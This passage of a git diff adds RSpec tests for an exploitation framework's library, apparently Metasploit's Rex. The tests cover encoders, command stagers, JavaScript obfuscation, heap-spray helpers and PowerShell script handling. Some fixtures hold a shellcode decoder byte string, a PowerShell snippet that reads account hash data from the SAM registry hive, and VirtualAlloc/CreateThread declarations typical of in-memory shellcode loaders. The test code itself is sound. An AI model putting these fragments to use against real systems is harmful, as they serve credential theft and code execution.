expect(subject.unpack("VVVV")[1]).to eq(string.length + 1) + expect(subject.unpack("VVVV")[2]).to eq(0) + expect(subject.unpack("VVVV")[3]).to eq(string.length + 1) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 2) + expect(subject.length).to eq(28) + end + end + + describe ".wstring_prebuilt" do + subject { described_class.wstring_prebuilt(string) } + + it_behaves_like "Rex::Encoder::NDR.wstring_prebuild" + end + + describe ".UnicodeConformantVaryingStringPreBuilt" do + subject { described_class.UnicodeConformantVaryingStringPreBuilt(string) } + + it_behaves_like "Rex::Encoder::NDR.wstring_prebuild" + end + +end diff --git a/spec/lib/rex/encoder/nonalpha_spec.rb b/spec/lib/rex/encoder/nonalpha_spec.rb new file mode 100644 index 0000000000..189ad049f0 --- /dev/null +++ b/spec/lib/rex/encoder/nonalpha_spec.rb @@ -0,0 +1,142 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/nonalpha' + +describe Rex::Encoder::NonAlpha do + + let(:decoder) do + dec = "\x66\xB9\xFF\xFF" + + "\xEB\x19" + + "\\\x5E" + + "\x8B\xFE" + + "\x83\xC7" + "." + + "\x8B\xD7" + + "\x3B\xF2" + + "\\\x7D\x0B" + + "\xB0\\\x7B" + + "\xF2\xAE" + + "\xFF\xCF" + + "\xAC" + + "\\\x28\x07" + + "\xEB\xF1" + + "\xEB" + "." + + "\xE8\xE2\xFF\xFF\xFF" + Regexp.new(dec) + end + + describe ".gen_decoder" do + subject { described_class.gen_decoder } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "returns the decoder code" do + is_expected.to match(decoder) + end + end + + describe ".encode_byte" do + subject { described_class.encode_byte(block, table, tablelen) } + + context "when tablelen > 255" do + let(:block) { 0x20 } + let(:table) { "" } + let(:tablelen) { 256 } + + it "raises an error" do + expect { subject }.to raise_error(RuntimeError) + end + end + + context "when block == 0x7b" do + let(:block) { 0x7b } + let(:table) { "" } + let(:tablelen) { 0 } + + it "raises an error" do + expect { subject }.to raise_error(RuntimeError) + end + end + + context "when block is an upcase letter char code" do + let(:block) { 0x42 } + let(:table) { "" } + let(:tablelen) { 0 } + + it "returns an Array" do + is_expected.to be_kind_of(Array) + end + + it "returns a 3 fields Array" do + expect(subject.length).to eq(3) + end + + it "returns '{' char as block" do + expect(subject[0]).to eq('{') + end + + it "appends offset to table" do + expect(subject[1]).to eq((0x7b - block).chr) + end + + it "increments tablelen" do + expect(subject[2]).to eq(tablelen + 1) + end + end + + context "when block is a downcase letter char code" do + let(:block) { 0x62 } + let(:table) { "" } + let(:tablelen) { 0 } + + it "returns an Array" do + is_expected.to be_kind_of(Array) + end + + it "returns a 3 fields Array" do + expect(subject.length).to eq(3) + end + + it "returns '{' char as block" do + expect(subject[0]).to eq('{') + end + + it "appends offset to table" do + expect(subject[1]).to eq((0x7b - block).chr) + end + + it "increments tablelen" do + expect(subject[2]).to eq(tablelen + 1) + end + end + + context "when block is another char code" do + let(:block) { 0x7c } + let(:table) { "" } + let(:tablelen) { 0 } + + it "returns an Array" do + is_expected.to be_kind_of(Array) + end + + it "returns a 3 fields Array" do + expect(subject.length).to eq(3) + end + + it "returns same block char code" do + expect(subject[0]).to eq(block.chr) + end + + it "doesn't modify table" do + expect(subject[1]).to eq(table) + end + + it "doesn't modify tablelen" do + expect(subject[2]).to eq(tablelen) + end + end + end + +end diff --git a/spec/lib/rex/encoder/xdr_spec.rb b/spec/lib/rex/encoder/xdr_spec.rb new file mode 100644 index 0000000000..348a9a02b3 --- /dev/null +++ b/spec/lib/rex/encoder/xdr_spec.rb @@ -0,0 +1,279 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/xdr' + +describe Rex::Encoder::XDR do + + describe ".encode_int" do + subject(:encoded_int) { described_class.encode_int(int) } + let(:int) { 0x41424344 } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "encodes big endian 32 bit usigned integer" do + is_expected.to eq("\x41\x42\x43\x44") + end + end + + describe ".decode_int!" do + subject(:decoded_int) { described_class.decode_int!(data) } + + context "when data is nil" do + let(:data) { nil } + it "raises an error" do + expect { decoded_int }.to raise_error(ArgumentError) + end + end + + context "when data is empty" do + let(:data) { '' } + + it "raises an error" do + expect { decoded_int }.to raise_error(ArgumentError) + end + end + + context "when data is 1-4 bytes length" do + let(:data) { "\x41\x42\x43\x44" } + + it "unpacks big endian 32bit unsigned int" do + is_expected.to eq(0x41424344) + end + end + + context "when data is bigger than 4 bytes" do + let(:data) { "\x41\x42\x43\x44\x45" } + + it "unpacks just one big endian 32bit unsigned int" do + is_expected.to eq(0x41424344) + end + end + end + + describe ".encode_lchar" do + subject(:encoded_lchar) { described_class.encode_lchar(char) } + + context "when char & 0x80 == 0" do + let(:char) { 0x80 } + + it "encodes char byte as integer with sign extended" do + is_expected.to eq("\xff\xff\xff\x80") + end + end + + context "when char & 0x80 != 0" do + let(:char) { 0x41 } + + it "encodes char byte as integer" do + is_expected.to eq("\x00\x00\x00\x41") + end + end + end + + describe ".decode_lchar!" do + subject(:decoded_lchar) { described_class.decode_lchar!(data) } + + context "when data's length is equal or greater than 4" do + let(:data) { "\x41\x42\x43\x44" } + + it "returns char code for last byte" do + is_expected.to eq("D") + end + end + + context "when data's length is less than 4" do + let(:data) { "\x41" } + + it "raises an error" do + expect { decoded_lchar }.to raise_error(ArgumentError) + end + end + end + + describe ".encode_string" do + subject(:encoded_string) { described_class.encode_string(str, max) } + + context "when data is bigger than max" do + let(:str) { "ABCDE" } + let(:max) { 4 } + + it "raises an error" do + expect { encoded_string }.to raise_error(ArgumentError) + end + end + + context "when data is shorter or equal to max" do + let(:str) { "ABCDE" } + let(:max) { 5 } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "prefix encoded length" do + is_expected.to start_with("\x00\x00\x00\x05") + end + + it "returns the encoded string padded with zeros" do + is_expected.to eq("\x00\x00\x00\x05ABCDE\x00\x00\x00") + end + end + end + + describe ".decode_string!" do + subject(:decoded_string) { described_class.decode_string!(data) } + + context "when encoded string length is 0" do + let(:data) { "\x00\x00\x00\x00" } + + it "returns empty string" do + is_expected.to eq("") + end + end + + context "when string contains padding" do + let(:data) {"\x00\x00\x00\x03ABC00000"} + + it "returns string without padding" do + is_expected.to eq("ABC") + end + end + + context "when fake length" do + context "and no string" do + let(:data) { "\x00\x00\x00\x03" } + + it "returns empty string" do + is_expected.to eq("") + end + end + + context "longer than real string length" do + let(:data) { "\x00\x00\x00\x08ABCD" } + + it "returns available string" do + is_expected.to eq("ABCD") + end + end + end + end + + describe ".encode_varray" do + subject(:encoded_varray) { described_class.encode_varray(arr, max) } + + context "when arr length is bigger than max" do + let(:arr) { [1, 2, 3] } + let(:max) { 2 } + it "raises an error" do + expect { encoded_varray }.to raise_error(ArgumentError) + end + end + + context "when arr length is minor or equal than max" do + let(:arr) { [0x41414141, 0x42424242, 0x43434343] } + let(:max) { 3 } + + it "returns an String" do + expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to be_kind_of(String) + end + + it "prefixes encoded length" do + expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to start_with("\x00\x00\x00\x03") + end + + it "returns the encoded array" do + expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to eq("\x00\x00\x00\x03\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43") + end + end + end + + describe ".decode_varray!" do + subject(:decoded_varray) { described_class.decode_varray!(data) } + + context "when encoded length is 0" do + let(:data) { "\x00\x00\x00\x00" } + + it "returns an empty array" do + is_expected.to eq([]) + end + end + + context "when fake encoded length" do + context "and no values" do + let(:data) { "\x00\x00\x00\x02" } + + it "raises an error" do + expect { described_class.decode_varray!(data) { |s| described_class.decode_int!(s) } }.to raise_error(ArgumentError) + end + end + + context "longer than available values" do + let(:data) { "\x00\x00\x00\x02\x00\x00\x00\x41" } + + it "raises an error" do + expect { described_class.decode_varray!(data) { |s| described_class.decode_int!(s) } }.to raise_error(ArgumentError) + end + end + end + + context "when valid encoded data" do + let(:data) { "\x00\x00\x00\x02\x41\x42\x43\x44\x00\x00\x00\x11"} + it "retuns Array with decoded values" do + expect(described_class.decode_varray!(data) { |s| described_class.decode_int!(s) }).to eq([0x41424344, 0x11]) + end + end + end + + describe ".encode" do + it "encodes integers" do + expect(described_class.encode(1)).to eq("\x00\x00\x00\x01") + end + + it "encodes arrays" do + expect(described_class.encode([0x41414141, 0x42424242])).to eq("\x00\x00\x00\x02\x41\x41\x41\x41\x42\x42\x42\x42") + end + + it "encodes strings" do + expect(described_class.encode("ABCD")).to eq("\x00\x00\x00\x04\x41\x42\x43\x44") + end + + it "encodes mixed type of elements" do + expect(described_class.encode(1, [0x41414141], "ABCD")).to eq("\x00\x00\x00\x01\x00\x00\x00\x01\x41\x41\x41\x41\x00\x00\x00\x04\x41\x42\x43\x44") + end + end + + describe ".decode!" do + + context "when no type arguments" do + it "retuns empty Array" do + expect(described_class.decode!("\x41\x41\x41\x41")).to eq([]) + end + end + + context "when not enough data" do + it "retuns Array filled with nils" do + expect(described_class.decode!("", Array)).to eq([nil]) + end + end + + it "decodes integers" do + expect(described_class.decode!("\x41\x41\x41\x41", Integer)).to eq([0x41414141]) + end + + it "decodes arrays" do + expect(described_class.decode!("\x00\x00\x00\x01\x41\x41\x41\x41", [Integer])).to eq([[0x41414141]]) + end + + it "decodes strings" do + expect(described_class.decode!("\x00\x00\x00\x01\x41", String)).to eq(["A"]) + end + + it "decodes mixed elements" do + expect(described_class.decode!("\x41\x41\x41\x41\x00\x00\x00\x01\x41\x00\x00\x00\x00\x00\x00\x01\x42\x42\x42\x42", Integer, String, [Integer])).to eq([0x41414141, "A", [0x42424242]]) + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/base_spec.rb b/spec/lib/rex/exploitation/cmdstager/base_spec.rb new file mode 100644 index 0000000000..7667ce19b9 --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/base_spec.rb @@ -0,0 +1,26 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerBase do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns nil" do + expect(cmd_stager.cmd_concat_operator).to be_nil + end + end + + describe '#generate' do + it "returns an empty array" do + expect(cmd_stager.generate).to eq([]) + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb b/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb new file mode 100644 index 0000000000..0a072db8a9 --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerBourne do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns ;" do + expect(cmd_stager.cmd_concat_operator).to eq(" ; ") + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb b/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb new file mode 100644 index 0000000000..06d53c477e --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb @@ -0,0 +1,35 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerDebugAsm do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns &" do + expect(cmd_stager.cmd_concat_operator).to eq(" & ") + end + end + + describe '#generate' do + let(:opts) do + { + :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_asm") + } + end + + it "returns an array of commands" do + result = cmd_stager.generate(opts) + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb b/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb new file mode 100644 index 0000000000..b70e228ada --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb @@ -0,0 +1,35 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerDebugWrite do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns &" do + expect(cmd_stager.cmd_concat_operator).to eq(" & ") + end + end + + describe '#generate' do + let(:opts) do + { + :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_write") + } + end + + it "returns an array of commands" do + result = cmd_stager.generate(opts) + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/echo_spec.rb b/spec/lib/rex/exploitation/cmdstager/echo_spec.rb new file mode 100644 index 0000000000..a3d91f2382 --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/echo_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerEcho do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns ;" do + expect(cmd_stager.cmd_concat_operator).to eq(" ; ") + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/printf_spec.rb b/spec/lib/rex/exploitation/cmdstager/printf_spec.rb new file mode 100644 index 0000000000..02927f7ecb --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/printf_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerPrintf do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns ;" do + expect(cmd_stager.cmd_concat_operator).to eq(" ; ") + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb b/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb new file mode 100644 index 0000000000..813533fd4d --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerTFTP do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns nil" do + expect(cmd_stager.cmd_concat_operator).to be_nil + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb b/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb new file mode 100644 index 0000000000..9b30c4cceb --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb @@ -0,0 +1,35 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerVBS do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns &" do + expect(cmd_stager.cmd_concat_operator).to eq(" & ") + end + end + + describe '#generate' do + let(:opts) do + { + :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64") + } + end + + it "returns an array of commands" do + result = cmd_stager.generate(opts) + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/encryptjs_spec.rb b/spec/lib/rex/exploitation/encryptjs_spec.rb new file mode 100644 index 0000000000..ba88ab7fdd --- /dev/null +++ b/spec/lib/rex/exploitation/encryptjs_spec.rb @@ -0,0 +1,35 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/encryptjs' + +describe Rex::Exploitation::EncryptJS do + + let(:code) { "var test = 'metasploit';" } + let(:key) { 'secret' } + let(:signature) { 'metasploit' } + let(:loader_signature) { 'location.search.substring(1);' } + let(:loader_key_words) { ['exploit', 'encoded', 'pass', 'decoded'] } + + describe ".encrypt" do + it "returns an String" do + expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to be_an(String) + end + + it "returns the JavaScript loader code" do + expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to include(loader_signature) + end + + it "encrypts the code" do + expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to_not include(signature) + end + + it "obfuscates the loader" do + loader_key_words.each do |key_word| + expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to_not include(key_word) + end + end + + end + +end diff --git a/spec/lib/rex/exploitation/heaplib_spec.rb b/spec/lib/rex/exploitation/heaplib_spec.rb new file mode 100644 index 0000000000..50fc8751a6 --- /dev/null +++ b/spec/lib/rex/exploitation/heaplib_spec.rb @@ -0,0 +1,66 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/heaplib' + +describe Rex::Exploitation::HeapLib do + + let(:custom_code) { "var test = 'metasploit';" } + let(:plain_signature) { 'JavaScript Heap Exploitation library' } + let(:signature) { 'function(maxAlloc, heapBase)' } + let(:methods) { + [ + 'lookasideAddr', + 'lookaside', + 'flushOleaut32', + 'freeOleaut32', + 'allocOleaut32', + 'paddingStr', + 'debugBreak', + 'debugHeap' + ] + } + + subject(:heap_lib_class) do + described_class.allocate + end + + subject(:heap_lib) do + described_class.new + end + + describe "#initialize" do + it "returns an String" do + expect(heap_lib_class.send(:initialize)).to be_a(String) + end + + it "returns the heap lib code" do + expect(heap_lib_class.send(:initialize)).to include(signature) + end + + it "obfuscates with ObfuscateJS by default" do + methods.each do |m| + expect(heap_lib_class.send(:initialize)).to_not include(m) + end + end + + it "allows to provide custom JS code as argument" do + expect(heap_lib_class.send(:initialize, custom_code)).to include(custom_code) + end + + it "allows to disable obfuscation" do + expect(heap_lib_class.send(:initialize, '', {:noobfu => true})).to include(plain_signature) + end + + it "allows to use JSObfu for obfuscation" do + expect(heap_lib_class.send(:initialize, '', {:newobfu => true})).to_not include(plain_signature) + end + end + + describe "#to_s" do + it "returns the heap lib js code" do + expect(heap_lib.to_s).to include(signature) + end + end + +end diff --git a/spec/lib/rex/exploitation/js/detect_spec.rb b/spec/lib/rex/exploitation/js/detect_spec.rb index f473f73fbd..23eabd0032 100644 --- a/spec/lib/rex/exploitation/js/detect_spec.rb +++ b/spec/lib/rex/exploitation/js/detect_spec.rb @@ -7,24 +7,24 @@ describe Rex::Exploitation::Js::Detect do context ".os" do it "should load the OS detection in Javascript" do js = Rex::Exploitation::Js::Detect.os.to_s - js.should =~ /window\.os_detect/ + js.should =~ /os_detect/ end end context ".ie_addons" do it "should load the IE Addons detection in Javascript" do js = Rex::Exploitation::Js::Detect.ie_addons.to_s - js.should =~ /window\.ie_addons_detect/ + js.should =~ /ie_addons_detect/ end end context ".misc_addons" do it "should load the misc Addons detection in Javascript" do js = Rex::Exploitation::Js::Detect.misc_addons.to_s - js.should =~ /window\.misc_addons_detect/ + js.should =~ /misc_addons_detect/ end end end -end \ No newline at end of file +end diff --git a/spec/lib/rex/exploitation/js/memory_spec.rb b/spec/lib/rex/exploitation/js/memory_spec.rb index 88dc94f501..b016bce066 100644 --- a/spec/lib/rex/exploitation/js/memory_spec.rb +++ b/spec/lib/rex/exploitation/js/memory_spec.rb @@ -27,4 +27,4 @@ describe Rex::Exploitation::Js::Memory do end -end \ No newline at end of file +end diff --git a/spec/lib/rex/exploitation/js/utils_spec.rb b/spec/lib/rex/exploitation/js/utils_spec.rb index f755d99ca2..3dcf60e7ac 100644 --- a/spec/lib/rex/exploitation/js/utils_spec.rb +++ b/spec/lib/rex/exploitation/js/utils_spec.rb @@ -13,4 +13,4 @@ describe Rex::Exploitation::Js::Utils do end -end \ No newline at end of file +end diff --git a/spec/lib/rex/exploitation/jsobfu_spec.rb b/spec/lib/rex/exploitation/jsobfu_spec.rb index 25e05cc34e..ec56762cf6 100644 --- a/spec/lib/rex/exploitation/jsobfu_spec.rb +++ b/spec/lib/rex/exploitation/jsobfu_spec.rb @@ -2,50 +2,28 @@ require 'spec_helper' require 'rex/exploitation/jsobfu' describe Rex::Exploitation::JSObfu do + TEST_JS = %Q| + function x() { + alert('1'); + }; + + x(); + | subject(:jsobfu) do - described_class.new("") + described_class.new(TEST_JS) end - describe '#random_var_name' do - subject(:random_var_name) { jsobfu.random_var_name } - - it { should be_a String } - it { should_not be_empty } - - it 'is composed of _, $, alphanumeric chars' do - 20.times { expect(jsobfu.random_var_name).to match(/\A[a-zA-Z0-9$_]+\Z/) } + describe '#obfuscate' do + + it 'returns a #to_s object' do + expect(jsobfu.obfuscate.to_s).to be_a(String) end - it 'does not start with a number' do - 20.times { expect(jsobfu.random_var_name).not_to match(/\A[0-9]/) } + it 'returns a non-empty String' do + expect(jsobfu.obfuscate.to_s).not_to be_empty end - context 'when a reserved word is generated' do - let(:reserved) { described_class::RESERVED_KEYWORDS.first } - let(:random) { 'abcdef' } - let(:generated) { [reserved, reserved, reserved, random] } - - before do - jsobfu.stub(:random_string) { generated.shift } - end - - it { should be random } - end - - context 'when a non-unique random var is generated' do - let(:preexisting) { 'preexist' } - let(:random) { 'abcdef' } - let(:vars) { { 'jQuery' => preexisting } } - let(:generated) { [preexisting, preexisting, preexisting, random] } - - before do - jsobfu.stub(:random_string) { generated.shift } - jsobfu.instance_variable_set("@vars", vars) - end - - it { should be random } - end end end diff --git a/spec/lib/rex/exploitation/powershell/function_spec.rb b/spec/lib/rex/exploitation/powershell/function_spec.rb new file mode 100644 index 0000000000..fbe50770c1 --- /dev/null +++ b/spec/lib/rex/exploitation/powershell/function_spec.rb @@ -0,0 +1,85 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell::Function do + + let(:function_name) do + Rex::Text.rand_text_alpha(15) + end + + let(:example_function_without_params) do + """ +{ + ls HKLM:\SAM\SAM\Domains\Account\Users | + where {$_.PSChildName -match \"^[0-9A-Fa-f]{8}$\"} | + Add-Member AliasProperty KeyName PSChildName -PassThru | + Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru | + Add-Member ScriptProperty V {[byte[]]($this.GetValue(\"V\"))} -PassThru | + Add-Member ScriptProperty UserName {Get-UserName($this.GetValue(\"V\"))} -PassThru | + Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue(\"V\")[0x9c..0x9f],0) + 0xCC} -PassThru +}""" + end + + let(:example_function_with_params) do + """ + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void], + + [String]$Parpy='hello', + [Integer] $puppy = 1, + + [Array[]] $stuff = Array[], + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + }""" + end + + describe "::initialize" do + it 'should handle a function without params' do + function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_without_params) + function.name.should eq function_name + function.code.should eq example_function_without_params + function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_truthy + function.params.should be_kind_of Array + function.params.empty?.should be_truthy + end + + it 'should handle a function with params' do + function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_with_params) + function.name.should eq function_name + function.code.should eq example_function_with_params + function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_truthy + function.params.should be_kind_of Array + function.params.length.should be == 5 + function.params[0].klass.should eq 'Type[]' + function.params[0].name.should eq 'Parameters' + function.params[1].klass.should eq 'Type' + function.params[1].name.should eq 'ReturnType' + end + end + +end + diff --git a/spec/lib/rex/exploitation/powershell/obfu_spec.rb b/spec/lib/rex/exploitation/powershell/obfu_spec.rb new file mode 100644 index 0000000000..208b22dffa --- /dev/null +++ b/spec/lib/rex/exploitation/powershell/obfu_spec.rb @@ -0,0 +1,232 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell::Obfu do + + let(:example_script_without_literal) do +""" +function Find-4624Logons +{ + +<# + +multiline_comment + +#> +\r\n\r\n\r\n +\r\n + +lots \t of whitespace + +\n\n\n\n\n +\n\n + + +# single_line_comment1 + # single_line_comment2 + # + # single_line_comment3 + if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\")) + { + $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4624 + LogSource = \"Security\" + SourceAccountName = $AccountName + SourceDomainName = $AccountDomain + NewLogonAccountName = $NewLogonAccountName + NewLogonAccountDomain = $NewLogonAccountDomain + LogonType = $LogonType + WorkstationName = $WorkstationName + SourceNetworkAddress = $SourceNetworkAddress + SourcePort = $SourcePort + Count = 1 + Times = @($Logon.TimeGenerated) + } + + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated + } + } + } +}""" + + end + + let(:example_script) do +""" +function Find-4624Logons +{ + +<# + +multiline_comment + +#> +\r\n\r\n\r\n +\r\n + +lots \t of whitespace + +\n\n\n\n\n +\n\n + + +# single_line_comment1 + # single_line_comment2 + # + # single_line_comment3 + $some_literal = @\" + using System; + using System.Runtime.InteropServices; + namespace $kernel32 { + public class func { + [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 } + [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 } + [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF } + [DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + [DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + [DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); + } + } +\"@ + if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\")) + { + $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4624 + LogSource = \"Security\" + SourceAccountName = $AccountName + SourceDomainName = $AccountDomain + NewLogonAccountName = $NewLogonAccountName + NewLogonAccountDomain = $NewLogonAccountDomain + LogonType = $LogonType + WorkstationName = $WorkstationName + SourceNetworkAddress = $SourceNetworkAddress + SourcePort = $SourcePort + Count = 1 + Times = @($Logon.TimeGenerated) + } + $literal2 = @\"parp\"@ + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated + } + } + } +}""" + + end + + let(:subject) do + Rex::Exploitation::Powershell::Script.new(example_script) + end + + let(:subject_no_literal) do + Rex::Exploitation::Powershell::Script.new(example_script_without_literal) + end + + describe "::strip_comments" do + it 'should strip a multiline comment' do + subject.strip_comments + subject.code.should be + subject.code.should be_kind_of String + subject.code.include?('comment').should be_falsey + end + + it 'should strip a single line comment' do + subject.strip_comments + subject.code.should be + subject.code.should be_kind_of String + subject.code.include?('#').should be_falsey + end + end + + describe "::strip_empty_lines" do + it 'should strip extra windows new lines' do + subject.strip_empty_lines + subject.code.should be + subject.code.should be_kind_of String + res = (subject.code =~ /\r\n\r\n/) + res.should be_falsey + end + + it 'should strip extra unix new lines' do + subject.strip_empty_lines + subject.code.should be + subject.code.should be_kind_of String + res = (subject.code =~ /\n\n/) + res.should be_falsey + end + end + + describe "::strip_whitespace" do + it 'should strip additional whitespace' do + subject.strip_whitespace + subject.code.should be + subject.code.should be_kind_of String + subject.code.include?('lots of whitespace').should 